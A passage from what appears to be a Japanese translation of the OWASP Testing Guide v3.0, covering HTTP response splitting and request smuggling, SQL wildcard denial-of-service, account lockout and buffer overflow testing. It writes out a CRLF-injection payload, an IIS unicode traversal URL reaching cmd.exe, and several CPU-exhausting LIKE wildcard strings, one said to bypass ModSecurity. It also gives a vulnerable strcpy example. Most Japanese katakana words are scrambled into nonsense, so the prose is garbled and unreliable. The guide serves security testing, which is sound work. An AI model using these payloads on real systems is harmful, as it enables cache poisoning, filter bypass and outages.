さらに 明 らかなこととして、 攻 撃 者 に webroot の 書 き 込 み 権 限 を 与 えるベシト 上 の 脆 弱 性 を 悪 用 した 場 合 でも、コーバ 上 の<br />

ウェブケヱテヱツを 変 更 できるということは、このようなイヱカャプートされた 攻 撃 をウェブコーバのヘーザに 仕 掛 けるのに 有<br />

用 であるということがあります。( 実 際 、これはいくつかのコーバワローマの 感 染 拡 大 方 法 として 知 られています。).<br />

ギレーボチクステステ 及 びびその 例<br />

ギリー/ベワロイトテシト 方 法 は、 上 述 したものと 同 様 です。<br />

• この 脆 弱 性 の 緩 和 のためには 入 力 の 検 証 がォガとなります。ウヱソープョイジ 内 の 他 のサシテマでも 同 様 の 持 続 リ<br />

イモーを 使 っている 場 合 、そこでも 入 力 の 検 証 が 弱 く、デーソは「バッキドア」を 通 じて 持 続 するでしょう。<br />

• キョイアヱト 側 の 攻 撃 の「バッキドア」 問 題 の 対 処 には、 出 力 の 検 証 もしなければなりません。これにより 汚 染 された<br />

デーソがキョイアヱトに 表 示 される 前 にウヱケードされ、 最 終 的 に 実 行 されません。<br />

• ケードリビャーオイドを 参 照 してください:<br />

http://www.owasp.org/index.php/Data_Validation_%28Code_Review%29#Data_validation_strategy<br />

289


参 考 文 献<br />

キルシコイトシキヨプティヱギスキサュヱの 参 考 文 献犰 のほとんどが 参 考 になります。 上 述 のように、イヱカャプートされた 攻 撃 は<br />

XSS や SQL イヱザェキサュヱ 攻 撃 のような 悪 用 の 組 み 合 わわせで 実 行 されます。<br />

アデバアザリ<br />

CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-<br />

2000-02.html<br />

Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/fulldisclosure/2006-July/048059.html<br />

ホワロアテペーパー<br />

Web Application Security Consortium "Threat Classification, Cross-site scripting" -<br />

http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml<br />

Amit Klein (Sanctum) "Cross-site Scripting Explained" - http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf<br />

ヂール<br />

<br />

<br />

<br />

<br />

XSS-proxy - http://sourceforge.net/projects/xss-proxy<br />

Paros - http://www.parosproxy.org/index.shtml<br />

Burp Suite - http://portswigger.net/suite/<br />

Metasploit - http://www.metasploit.com/<br />

4.8.15 HTTP 分 割 /スボギリンヱギのテステ(<strong>OWASP</strong>-DV-016)<br />

概 要<br />

この 章 では、ウェブアプヨクーサュヱの HTTP プルトケラの 特牐 徴 を 利 用 する 攻 撃 の 例 を 説 明 します。ウェブアプヨクーサュヱの<br />

弱 点 を 悪 用 したり、ウーザェヱトごとに HTTP ミッスーザを 解 釈 する 方 法 が 遊 うという 点 を 悪 用 したりします。<br />

この 問 題 の 説 明<br />

特牐 定 の HTTP ブッゾを 対 象 とした 2 つの 攻 撃 を 分 析 します。それは HTTP 分 割 と HTTP シボギヨヱギです。1 つ 目 の 攻 撃 は<br />

入 力 のコニソイジが 不 十 分 であることを 悪 用 し、CR と LF の 文 字 をアプヨクーサュヱリシホヱシブッゾに 挿 入 してリシホヱシを<br />

2 つの 異 なる HTTP ミッスーザとして 分 割 します。この 攻 撃 の 目 的 は、カメッサャホイジニヱギからキルシコイトシキヨプティヱギ<br />

まで 様 々です。2 つ 目 の 攻 撃 では、 攻 撃 者 は、 特牐 別 に 作 り 上 げた HTTP ミッスーザを 受 け 取 るウーザェヱトによって 異 なる<br />

やり 方 でパーシし 解 釈 するということを 悪 用 します。HTTP シボギヨヱギには、HTTP ミッスーザを 扱 う 様 々なウーザェヱト(ウェ<br />

ブコーバ、プルカサ、ファイアウェーラ)についてのある 程 度 の 知 識 が 必 要 です。したがって、ギリーペッキシテシトのスキサュ<br />

ヱでのみ 説 明 します。<br />

ブラチクボチクステステ 及 びびその 例<br />

HTTP 分 割<br />

いくつかのウェブアプヨクーサュヱでは、ヤーゴ 入 力 を 使 ってリシホヱシブッゾの 値 を 生 成 するものがあります。 最 もわわかりや<br />

すい 例 は、ヤーゴが 入 力 した 値 によってヨゾイリキト 先 の URL が 変 わわってくるというものです。 例 えば、ヤーゴが 標 準 的 なウ<br />

290


<strong>OWASP</strong> Testing Guide v3.0<br />

ェブイヱソーフェイシと 高 度 なウェブイヱソーフェイシのどちらがいいかを 選遥 択 する 場 合 を 考 えましょう。この 選遥 択 はパョミーソ<br />

として 渡 され、 対 応 するヘーザへのヨゾイリキトのトヨオとしてリシホヱシブッゾに 使 用 されます。より 具 体 的 には、パョミーソ<br />

'interface'が 値 'advanced'である 場 合 、アプヨクーサュヱは 以 下 のように 応 答 します:<br />

HTTP/1.1 302 Moved Temporarily<br />

Date: Sun, 03 Dec 2005 16:22:19 GMT<br />

Location: http://victim.com/main.jsp?interface=advanced<br />

<br />

このミッスーザを 受 け 取 ると、ブョウゴはルクーサュヱブッゾに 示 されているヘーザにヤーゴ 移 動 します。ところが、アプヨク<br />

ーサュヱがヤーゴ 入 力 をフィラソしない 場 合 、'interface'パョミーソに 文 字 列 %0d%0a を 挿 入 することができます。これは<br />

CRLF 文 字 列 を 意 味 し、 別 々の 行 に 分 割 するために 使 用 されます。この 段 階 で、パーシするもの、 例 えば 我 々とアプヨクーサ<br />

ュヱの 間 のウェブカメッサャ 等 が 2 つの 別 々のリシホヱシとして 解 釈 するようなリシホヱシを 作 ることができます。これを 悪 用<br />

して 攻 撃 者 はウェブカメッサャを 汚 染 し、その 後 の 全 てのヨキウシトにおいて 不 正 なケヱテヱツを 提 供 します。 例 えば 上 記 の<br />

例 で、ヘヱテシソーが 以 下 のデーソを interface パョミーソに 渡 したとしましょう:<br />

advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-<br />

Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0aSorry,%20System%20Down<br />

The resulting answer from the vulnerable application will therefore be the following:<br />

HTTP/1.1 302 Moved Temporarily<br />

Date: Sun, 03 Dec 2005 16:22:19 GMT<br />

Location: http://victim.com/main.jsp?interface=advanced<br />

Content-Length: 0<br />

HTTP/1.1 200 OK<br />

Content-Type: text/html<br />

Content-Length: 35<br />

Sorry,%20System%20Down<br />

<br />

ウェブカメッサャは 2 つの 別 々のリシホヱシを 受 けます。そして 攻 撃 者 が 最 初 のヨキウシトの 直 後 に/index.html を 要 求 する<br />

2 つ 目 のヨキウシトを 送 ると、ウェブカメッサャはこのヨキウシトを 2 つ 目 のリシホヱシとボッタさせてそのケヱテヱツをカメッサ<br />

ャします。したがって victim.com/index.html へのその 後 のヨキウシトはそのウェブカメッサャを 通 ると「サシテマゾウヱ」ミッス<br />

ーザを 受 け 取 ります。このようにして、 攻 撃 者 は 効 率狨 的 に、そのカメッサャを 利 用 している 全 てのヤーゴに 対 してコイトを 書 き<br />

換 える ことができるのです。もし、そのウェブカメッサャがそのウェブアプヨクーサュヱのヨバーシプルカサであった 場 合 にはイ<br />

ヱソーネット 全 体 に 対 してということになります。 別 の 方 法 として、 攻 撃 者 はキルシコイトシキヨプティヱギ 攻 撃 を 埋 め 込 んだ<br />

JavaScript をヤーゴに 送 り、 例 えばキッカーを 盗 むことができます。 脆 弱 性 がアプヨクーサュヱにあるのにも 関 わわらず、 攻 撃 対<br />

象 はそのヤーゴであることに 留 意 すべきです。<br />

したがって、この 脆 弱 性 を 見 つけるためには、テシソーはリシホヱシ 内 の 1 つ 以 上 のブッゾに 影 響 を 与 える、ヤーゴがケヱト<br />

ルーラできる 入 力 を 全 て 特牐 定 する 必 要 があります。そして、そこに CR+LF 文 字 列 を 挿 入 できるかどうかをタェッキします。こ<br />

の 攻 撃 のための 候 補 に 最 もなりやすいブッゾは 以 下 のものです:<br />

• Location<br />

• Set-Cookie<br />

実 際 にこの 脆 弱 性 の 悪 用 を 成 功 させることは 非 常 に 複 雑 であり、 多 くの 要 素 を 考 慮 しなくてはなりません:<br />

291


1. ヘヱテシソーはカメッサャを 成 功 させるために、 偽 のリシホヱシ 内 のブッゾを 適遚 切 に 設 定 しなければなりません( 例<br />

えば Last-Modified ブッゾに 未 来 の 日 付 )。また、ヨキウシトブッゾ 内 の"Pragma: no-cache"を 含 んだ 事 前 のヨキウシト<br />

を 発 行 することにより、 対 象 のヘーザの 以 前 のバーザュヱを 壊 さなければならないかもしれません。<br />

2. CR+LF 文 字 列 をフィラソしないアプヨクーサュヱでも、 攻 撃 を 成 功 させるために 必 要 な 他 の 文 字 ( 例 えば””)を<br />

フィラソするかもしれません。この 場 合 、 他 のウヱケーディヱギ( 例 えば UTF-7)を 使 って 試 してみます。<br />

3. ソーグットの 中 には( 例 えば ASP)、ルクーサュヱブッゾのパシの 部邪 分 ( 例 えば www.victim.com/redirect.asp)を URL<br />

ウヱケードするものもあり、これにより CRLF 文 字 列 が 使 い 物片 にならなくなります。ところが、キウヨスキサュヱ<br />

(?interface=advanced)のウヱケードに 失 敗 するということは、その 後 のキウシタュヱボーキがこのフィラソを 回 避遪 する<br />

のに 十 分 であるということを 意 味 します。<br />

この 攻 撃 に 関 してのより 詳 細 な 議 論 や 可 能 なサナヨエについての 情 報 は、このスキサュヱの 最 後 にある 対 応 するヘーパーを<br />

タェッキしてください。<br />

ギレーボチクステステ 及 びびその 例<br />

HTTP 分 割<br />

HTTP 分 割 を 成 功 させるためには、そのウェブアプヨクーサュヱと 攻 撃 対 象 についての 詳 細 をある 程 度 知 ることが 有 用 です。<br />

例 えば、ソーグットによって 最 初 の HTTP ミッスーザがいつ 終 わわって 2 番 目 のミッスーザがいつ 始妵 まるかについて 判 断 する<br />

方 法 が 遊 います。 前 述 の 例 のようにミッスーザバウヱゾヨを 使 うものもありますし、ミッスーザをそれぞれ 別 々のパクットで 運遀<br />

ぶものもあります。また、あらかじめ 決 めた 長 さの 塊 を、それぞれのミッスーザにたくさん 割 り 当 てるものもあります。この 場 合 、<br />

2 番 目 のミッスーザはその 塊 のちょうど 最 初 から 始妵 まっている 必 要 があるので、テシソーは 2 つのミッスーザの 間 にパディヱ<br />

ギを 使 う 必 要 があります。これは、 脆 弱 なパョミーソが URL で 送 信 される 場 合 に 問 題 を 引 き 起 こすかもしれません。なぜなら、<br />

非 常 に 長 い URL は 切 り 捨 てられたり、フィラソヨヱギされたりしやすいからです。ギリーペッキシテシトのサナヨエで、 攻 撃 者<br />

がワローキアョウヱドを 見 つけるのに 役 立 つものがあります: 例 えば 多 くのアプヨクーサュヱコーバでは、ヨキウシトを GET では<br />

なく POST で 送 ることを 許 可 しています。<br />

HTTP スボギリンヱギ<br />

導 入 部邪 で 述 べたように、HTTP シボギヨヱギは、 特牐 別 に 作 った HTTP ミッスーザをウーザェヱト(ブョウゴ、ウェブカメッサャ、ア<br />

プヨクーサュヱファイアウェーラ)によってパーシ、 解 釈 する 方 法 が 遊 っていることを 利 用 しています。この 比 較 的 新 しい 攻 撃<br />

は、Chaim Linhart、 Amit Klein、 Ronen Helad、 Steve Orrin によって 2005 年 に 最 初 に 発 見 されました。 可 能 性 のあるアプヨ<br />

クーサュヱは 多 くありますが、 我 々はその 中 で 最 も 見 ごたえのあるものを 分 析 します。それはアプヨクーサュヱファイアウェー<br />

ラの 回 避遪 です。より 詳 細 な 情 報 と 他 のサナヨエについては、エヨザナラのベワロイトヘーパー(このヘーザの 最 後 にヨヱキがあり<br />

ます)を 参 照 してください。<br />

アプリクーシュンヱファアアウォールの 回 避<br />

サシテマ 管 理 において、ヨキウシトに 埋 め 込 まれた 既 知 の 不 正 なパソーヱによって、 悪 意 のあるウェブヨキウシトを 検 知 ・ブル<br />

ッキできる 製 品 は 多 く 存 在 します。 例 えば、 悪 名 高 い、 昔 の、IIS コーバに 対 する unicode ディリキトヨトョバーコラ 攻 撃 を 考<br />

えてみましょう(http://www.securityfocus.com/bid/1806)。 攻 撃 者 は、 以 下 のようなヨキウシトを 投 げることにより、www root<br />

を 取 ることができます:<br />

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<br />

292


<strong>OWASP</strong> Testing Guide v3.0<br />

もちろん、URL 内 の”..”や”cmd.exe”といった 文 字 列 の 存 在 によってこの 攻 撃 を 検 知 してフィラソヨヱギすることはとても 簡 単<br />

です。ところが、IIS 5.0 は POST ヨキウシトについて 好 みがうるさく、body の 最 大 は 48K バイトであり、Content-Type ブッゾが<br />

application/x-www-form-urlencoded 以 外 の 場 合 にこの 制 限 を 超 えると 切 り 取 ってしまいます。ヘヱテシソーは、 以 下 のよう<br />

な 構 造造 の 大 きいヨキウシトを 作 ることによってこれを 利 用 することができます:<br />

POST /target.asp HTTP/1.1<br />

Host: target<br />

Connection: Keep-Alive<br />

Content-Length: 49225<br />

<br />

<br />

POST /target.asp HTTP/1.0<br />

Connection: Keep-Alive<br />

Content-Length: 33<br />

<br />

POST /target.asp HTTP/1.0<br />


• Amit Klein: "HTTP Message Splitting, Smuggling and Other Animals" -<br />

http://www.owasp.org/images/1/1a/<strong>OWASP</strong>AppSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt<br />

• Amit Klein: "HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)" -<br />

http://www.securityfocus.com/archive/1/411418<br />

• Amit Klein: “HTTP Response Smuggling” - http://www.securityfocus.com/archive/1/425593<br />

•<br />

4.9 サーパス 拒 否 のテステ<br />

コービシ 拒 否 (DoS) 攻 撃 の 最 も 一 般 的 なソイプは、 他 の 正 当 なヤーゴがコーバにアキスシできなくなるように、ネットワローキに<br />

対 して 行 わわれるものです。ネットワローキ DoS 攻 撃 の 基 本 的 なケヱスプトは、 対 象 のボサヱに 対 してあふれさせるのに 十 分 なト<br />

ョフィッキを 悪 意 のあるヤーゴが 送 り、 受 けるヨキウシトのペヨャーマに 追 いつかなくするというものです。 悪 意 のあるヤーゴが、<br />

大 量 のボサヱを 使 用 して 1 つの 対 象 ボサヱにトョフィッキをあふれさせる 場 合 は、 一 般 的 に 分 散 DoS として 知 られています。<br />

こうしたソイプの 攻 撃 は 一 般 的 にアプヨクーサュヱ 開 発 者 がケードの 中 で 防 ぐことができる 範 囲 を 超 えています。このソイプ<br />

の「ネットワローキパイプの 戦 い」はネットワローキアーカテキタメーセヨャーサュヱでうまく 軽 減 されます。<br />

ところが、アプヨクーサュヱの 脆 弱 性 で、 不 正 なヤーゴが 特牐 定 の 機 能 や 時 にはウェブコイト 全 体 を 使 用 不 能 にできるソイプ<br />

のものもあります。こうした 問 題 はアプヨクーサュヱのバギから 起 こりますが、 不 正 なもしくは 予 期 しないヤーゴ 入 力 が 原 因 と<br />

なります。このスキサュヱでは、 可 用 性 に 対 するアプヨクーサュヱリイモの 攻 撃 で、1 人 のヤーゴもしくは 一 つのボサヱから 引<br />

き 起 こすことができるものに 焦 点 を 当 てます。<br />

以 下 に 関 する DoS テシトについて 説 明 します:<br />

1. SQL ワロイラドォード 攻 撃 のテシト (<strong>OWASP</strong>-DS-001)<br />

2. 顧 客 アォウヱトのルッキ (<strong>OWASP</strong>-DS-002)<br />

3. バッファエーバーフルー (<strong>OWASP</strong>-DS-003)<br />

4. ヤーゴが 指 定 したエブザェキトの 割 り 当 て (<strong>OWASP</strong>-DS-004)<br />

5. ラープォウヱソとしてのヤーゴ 入 力 (<strong>OWASP</strong>-DS-005)<br />

6. ヤーゴ 提 供 デーソのディシキへの 書 き 込 み (<strong>OWASP</strong>-DS-006)<br />

7. ヨセーシ 解 放 の 失 敗 (<strong>OWASP</strong>-DS-007)<br />

8. スッサュヱへの 大 量 のデーソ 保 存 (<strong>OWASP</strong>-DS-008)<br />

294


<strong>OWASP</strong> Testing Guide v3.0<br />

4.9.1 SQL ワロアルデカーデ 攻 撃 のテステ (<strong>OWASP</strong>-DS-001)<br />

概 要<br />

SQL ワロイラドォード 攻 撃 は、 多 数 のワロイラドォードを 使 うことによって、CPU を 消 費 するキウヨをデーソプーシに 実 行 させるも<br />

のです。この 脆 弱 性 は、 一 般 的 にウェブアプヨクーサュヱの 検 索 機 能 に 存 在 します。この 攻 撃 が 成 功 すると、DoS が 引 き 起 こ<br />

されます。<br />

この 問 題 の 説 明<br />

SQL ワロイラドォード 攻 撃 は、バッキウヱドのデーソプーシ 全 てに 影 響 がある 可 能 性 がありますが、 主 に SQL コーバに 影 響 が<br />

あります。なぜなら、MS SQL コーバの LIKE 演 算 子婡 は、”[]”、 “[^]”、 “_”、 “%”のような 追 加 のワロイラドォードをコホートするか<br />

らです。<br />

典 型 的 なウェブアプヨクーサュヱにおいて、 検 索 ペッキシに”foo”と 入 れると、 生 じる SQL キウヨは 以 下 のようになります:<br />

SELECT * FROM Article WHERE Content LIKE '%foo%'<br />

まともなデーソプーシで、1 から 100000 のリケードがあるものでは、 上 記 のキウヨは 1 秒 以 下 しかかかりません。ところが、<br />

同 じたった 2600 リケードのデーソプーシで、 以 下 のキウヨは 約 6 秒 かかります。<br />

SELECT TOP 10 * FROM Article WHERE Content LIKE<br />

'%_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R"_)][%](%[x])%a][$*"£$-9]_%'<br />

したがって、テシソーが CPU を 6 秒 拘 束 したいのであれば、 以 下 のように 検 索 ペッキシに 入 力 します:<br />

_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R"_)][%](%[x])%a][$*"£$-9]_<br />

ブラチクボチクステステ 及 びびその 例<br />

SQL ワロアルデカーデ 攻 撃 のテステ:<br />

ワロイラドォードをたくさん 含 み、 結 果 を 返 さないキウヨを 作 成 します。 下 記 の 入 力 例 の 1 つを 使 用 することができます。<br />

このデーソをアプヨクーサュヱの 検 索 機 能 から 送 ります。アプヨクーサュヱが 結 果 を 生 成 するのに 通 常 の 検 索 よりも 長 くかか<br />

るのであれば、 脆 弱 です。<br />

送 信 する 攻 撃 入 力 の 例<br />

• '%_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R"_)][%](%[x])%a][$*"£$-9]_%'<br />

• '%64_[^!_%65/%aa?F%64_D)_(F%64)_%36([)({}%33){()}£$&N%55_)$*£()$*R"_)][%55](%66[x])%ba<br />

][$*"£$-9]_%54' bypasses modsecurity<br />

• _[r/a)_ _(r/b)_ _(r-d)_<br />

• %n[^n]y[^j]l[^k]d[^l]h[^z]t[^k]b[^q]t[^q][^n]!%<br />

• %_[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[! -z]@$!_%<br />

295


...<br />

予 想 される 結 果 :<br />

アプヨクーサュヱが 脆 弱 であれば、リシホヱシ 時 間 は 通 常 よりも 長 くなります。<br />

テステ 用 検 索 文 字 列 を 作 る 方 法<br />

• キウヨは、できるだけ 少 ない 結 果 を 返 すものか、 全 く 結 果 がないものでなければなりません。このようにして、デーソ<br />

プーシコーバに 全 てのリケードを 確 実 に 検 索 させることができます。<br />

• OR の 組 み 合 わわせにおいて、 全 ての OR 句 は 異 なるものでなければなりません。さもないと、デーソプーシは 最 適遚 化<br />

してしまいます。1 つの 文 字 を 変 えるだけで 十 分 です。<br />

• ボイキルセフト SQL Server では、 開 きかっこ[の 後 の 文 字 は 何 でも 実 行 時 間 を 異 常 に 長 くします。これは、 効 果 を 高<br />

めるのに 使 えます。 例 えば:<br />

o<br />

o<br />

o<br />

LIKE '%_[a[! -z]@$!_% - 1050 ms.<br />

LIKE '%_[aaaaaaaaa[! -z]@$!_%' - 1600 ms.<br />

LIKE '%_[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[! -z]@$!_%' - 3700 ms.<br />

• 長 いキウヨは 一 般 的 に 長 い 実 行 時 間 がかかります。アプヨクーサュヱ 上 で 可 能 な 限 り 長 いキウヨを 作 成 します。<br />

• %で 始妵 まり%で 終 わわるものは、 一 般 的 に 長 くかかります。<br />

• 検 索 の 実 装 の 中 には 検 索 結 果 をカメッサャするものもあります。これを 避遪 けるために、テシトの 際 には 全 ての 検 索 キ<br />

ウヨは 少 しずつ 異 なっていなければなりません。<br />

• パフェーボヱシは 常 に 実 験 的 なものです。ソーグットのサシテマとデーソにおいて 最 も 時 間 のかかるものを 試 してみ<br />

ましょう。<br />

ギレーボチクステステ 及 びびその 例<br />

SQL ワロアルデカーデ 攻 撃 のテステ:<br />

キウヨ 実 行 時 間 はデーソプーシコーバで 見 ることができます。もし 特牐 定 のキウヨに 長 い 時 間 がかかるようであれば、SQL ワロイ<br />

ラドォード 攻 撃 に 脆 弱 であることの 兆 候 かもしれません。<br />

アプヨクーサュヱリイモの DoS 攻 撃 のテシトでは、HTTP ルギを 見 て、リシホヱシ 時 間 を 分 析 することが 重 要 です。 特牐 定 のヘ<br />

ーザでの 特牐 定 のキウヨにおいてリシホヱシ 時 間 が 通 常 よりも 長 い 場 合 、こうしたヘーザは SQL ワロイラドォード 攻 撃 の 影 響 を<br />

受 ける 可 能 性 があります。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

• DoS Attacks Using SQL Wildcards<br />

ヂール<br />

296


<strong>OWASP</strong> Testing Guide v3.0<br />

• テシトは 手 動 で 行 うことができます。また、プルスシの 自 動 化 のために fuzzer を 使 うこともできます。<br />

4.9.2 顧 客 アカウンヱテのロチク (<strong>OWASP</strong>-DS-002)<br />

概 要<br />

このテシトでは、 攻 撃 者 が 間 遊 ったパシワロードでルギイヱ 試 行 を 繰 り 返 すことによって 有 効 なヤーゴアォウヱトをルッキするこ<br />

とができるかどうかをタェッキします。<br />

この 問 題 の 説 明<br />

最 初 に 考 えるべき DoS のクーシでは、ソーグットアプヨクーサュヱの 認 証 サシテマが 関 係 しています。ブラートフェーシによ<br />

るヤーゴパシワロード 破 りを 防 ぐためのよくある 防 御 方 法 は、3 回 から 5 回 のルギイヱ 試 行 の 失 敗 の 後 にアォウヱトの 仕 様 をル<br />

ッキすることです。これは、 正 当 なヤーゴが 正 しいパシワロードを 入 力 しても、アォウヱトがアヱルッキされるまでサシテマにルギ<br />

イヱできないということです。もし、 正 当 なルギイヱアォウヱトを 予 測 する 方 法 があれば、アプヨクーサュヱに 対 する DoS 攻 撃 と<br />

なりえます。<br />

そのアプヨクーサュヱを 取 り 巻 く 状牮 況 に 応 じて 取 るべきビザネシとスカャヨティのバョヱシがあることに 留 意 しましょう。アォウヱ<br />

トをルッキすること、 顧 客 がアォウヱト 名 を 選遥 べること、CAPTCHA のようなサシテマを 使 用 することについては 賛 否 両 論 ありま<br />

す。 企 業 はそれぞれヨシキとプネフィットのバョヱシを 取 る 必 要 がありますが、こうした 判 断 についての 詳 細 すべてをここでは<br />

扱 いません。このスキサュヱでは、アォウヱトのルッキアウトと 情 報 取 得 が 可 能 な 場 合 に 可 能 な DoS に 対 するテシトにフェーォ<br />

シします。<br />

ブラチクボチクステステ 及 びびその 例<br />

一 定 回 数 のルギイヱ 失 敗 の 後 にアォウヱトが 実 際 にルッキされるかどうかのテシトをまず 行 う 必 要 があります。もし 正 当 なアォ<br />

ウヱト 名 を 既 に 見 つけ 出 していたら、 少 なくとも 15 の 間 遊 ったパシワロードをわわざとサシテマに 送 ることによってアォウヱトが 実<br />

際 にルッキされるかどうかをタェッキするために 使 用 します。もしアォウヱトが 15 回 の 試 行 後 にルッキされなければ、その 後 も<br />

ルッキされないでしょう。 多 くの 場 合 、アプヨクーサュヱは、ルッキアウトの 閾 値 に 近 づいていることをヤーゴに 警 告 するというこ<br />

とに 留 意 しましょう。これはテシソーにとって 有 用 です。とりわわけ、 契 約 の 規 定 によって、 実 際 のアォウヱトルッキが 望 ましくな<br />

い 場 合 に 有 益 です。<br />

テシトのこの 段 階 でアォウヱト 名 が 全 くわわかっていない 場 合 、テシソーは 正 当 なアォウヱト 名 を 見 つけるために 以 下 の 手 法 を<br />

使 わわなくてはなりません。<br />

正 当 なアォウヱト 名 を 見 つけるために、テシソーは、 正 当 なルギイヱと 不 正 なルギイヱの 差 異 が 示 されている 場 所 をアプヨク<br />

ーサュヱ 内 で 見 つける 必 要 があります。よくある 場 所 は 以 下 の 通 りです:<br />

1. ルギイヱヘーザ – 既 知 のルギイヱ 名 と 間 遊 ったパシワロードを 使 用 して、ブョウゴに 返 されるウョーミッスーザを 確 認<br />

します。 次 に 全 くありそうもないルギイヱ 名 と 同 じパシワロードでヨキウシトを 送 り、 返 されるウョーミッスーザを 確 認 しま<br />

す。もしミッスーザが 異 なっていたら、 正 当 なアォウヱト 名 を 見 つけるのに 使 えます。リシホヱシの 遊 いが 非 常 に 少<br />

なく、すぐにはわわからない 場 合 もあります。 例 えば、 返 されるミッスーザは 全 く 同 じで、リシホヱシ 時 間 がほんの 少 し<br />

遊 うことに 気 づく 場 合 があります。コーバから 返 される HTTP リシホヱシペディのハッサャを 比 較 する 方 法 もあります。<br />

297


ヨキウシトごとに 変 化 させるデーソをコーバがリシホヱシに 入 れない 限 り、これがリシホヱシ 間 の 変 化 を 見 るための<br />

最 もよい 方 法 です。<br />

2. 新 規 アォウヱト 作 成 ヘーザ – アプヨクーサュヱにおいて、アォウヱト 名 を 選遥 択 して 新 しいアォウヱトを 作 成 することが<br />

できる 場 合 、このふるまいによって 他 のアォウヱト 名 を 見 つけることができる 場 合 があります。 既 にあるとわわかってい<br />

るアォウヱト 名 を 使 って 新 しいアォウヱトを 作 成 しようとした 場 合 どうなるでしょうか。もし、 他 の 名 前 を 選遥 ばなければ<br />

ならないというウョーが 出 たら、それが 正 当 なアォウヱト 名 であるということが 自 動 的 にわわかります。<br />

3. パシワロードヨスットヘーザ – ヤーゴがパシワロードをヨォバーもしくはヨスットする 機 能 もルギイヱヘーザにある 場 合 、こ<br />

の 機 能 も 見 てみましょう。この 機 能 において、サシテマに 存 在 しないアォウヱトのヨスットやヨォバーを 行 おうとした 時<br />

に、 遊 うミッスーザが 出 るでしょうか。<br />

攻 撃 者 が 正 当 なヤーゴアォウヱトを 得 ることができた 場 合 、あるいはヤーゴアォウヱトが 明 確 に 予 測 できるフェーボットであ<br />

る 場 合 、それぞれのアォウヱトに 3 から 5 の 間 遊 ったパシワロードを 送 るプルスシを 自 動 化 するのは 簡 単 なことです。もし 攻 撃<br />

者 が 大 量 のヤーゴアォウヱトを 得 ることができたら、 大 量 のヤーゴプーシに 対 して 正 当 なアキスシを 拒 否 させることが 可 能 で<br />

す。<br />

ギレーボチクステステ 及 びびその 例<br />

アプヨクーサュヱの 実 装 についての 情 報 が 手 に 入 るならば、ブョッキペッキシテシトのスキサュヱで 述 べた 機 能 に 関 するルザッ<br />

キを 見 てみましょう。フェーォシすべき 点 は 以 下 の 通 りです:<br />

1. サシテマがアォウヱト 名 を 生 成 する 場 合 、どういうルザッキが 使 わわれていますか。 不 正 なヤーゴに 予 測 されるようなパ<br />

ソーヱでしょうか。<br />

2. 最 初 の 認 証 、(もし 何 らかの 理 由 により 最 初 の 認 証 と 異 なるルザッキを 使 っている 場 合 は) 再 認 証 、パシワロードヨスット、<br />

パシワロードヨォバヨー 等 を 扱 う 機 能 において、 存 在 するアォウヱトと 存 在 しないアォウヱトでヤーゴに 返 すウョーを<br />

変 えているかどうかを 確 認 します。<br />

4.9.3 バチファオーバーフロー (<strong>OWASP</strong>-DS-003)<br />

概 要<br />

このテシトでは、ソーグットアプヨクーサュヱの 1 つもしくは 複 数 のデーソ 構 造造 をエーバーフルーさせることによってコービシ<br />

拒 否 状牮 態 を 引 き 起 こすことができるかどうかをタェッキします。<br />

この 問 題 の 説 明<br />

開 発 者 がミムヨ 割 り 当 ての 管 理 に 直 接 の 責 任 を 持 つ 言 語 の 全 てにおいて、バッファエーバーフルーの 可 能 性 があります。<br />

最 も 有 名 なものとしては C や C++があります。バッファエーバーフルーに 関 連連 した 最 も 深 刻 なヨシキはコーバ 上 での 任 意 のケ<br />

ード 実 行 の 可 能 性 ですが、アプヨクーサュヱがキョッサャした 場 合 に 最 初 に 来 るのはコービシ 拒 否 のヨシキです。バッファエ<br />

ーバーフルーはこのテシトドカャミヱトの 他 の 場 所 でより 詳 細 に 説 明 されていますが、アプヨクーサュヱのコービシ 拒 否 に 関<br />

連連 する 例 を 簡 単 に 紹 介 します。<br />

298


<strong>OWASP</strong> Testing Guide v3.0<br />

以 下 は C における 脆 弱 なケードの 簡 単 な 例 です:<br />

void overflow (char *str) {<br />

char buffer[10];<br />

strcpy(buffer, str); // Dangerous!<br />

}<br />

int main () {<br />

char *str = "This is a string that is larger than the buffer of 10";<br />

overflow(str);<br />

}<br />

このケードが 実 行 されると、スギミヱテーサュヱフェラトとケアゾヱプが 引 き 起 こされます。なぜなら、strcpy が 10 要 素 だけの<br />

配郤 列 に 53 文 字 ケピーしようとし、 隣 接 するミムヨルクーサュヱを 上 書 きするからです。この 例 は 非 常 にサヱプラですが、 実 際<br />

にウェブプーシのアプヨクーサュヱにおいてヤーゴ 入 力 の 長 さが 適遚 切 にタェッキされずこのような 攻 撃 が 可 能 になる 場 所 が<br />

あることがあります。<br />

ブラチクボチクステステ<br />

脆 弱 性 のある 可 能 性 のある 場 所 を 探 すためにアプヨクーサュヱに 対 してどのように 長 さの 範 囲 を 送 るかについては<br />

Buffer_Overflow_Testing のスキサュヱを 参 照 してください。DoS に 関 連連 しているため、エーバーフルーが 起 こったと 思 わわれる<br />

リシホヱシを 受 け 取 った 場 合 や、リシホヱシがない 場 合 には、さらにコーバにヨキウシトを 送 り、 反 応 があるかどうかを 見 てみ<br />

ます。<br />

ギレーボチクステステ<br />

このテシトについての 詳 細 は、 Buffer_Overflow_Testing スキサュヱを 参 照 してください。<br />

4.9.4 ヤーザが 指 定 したオブジェクテの 割 り 当 て (<strong>OWASP</strong>-DS-004)<br />

概 要<br />

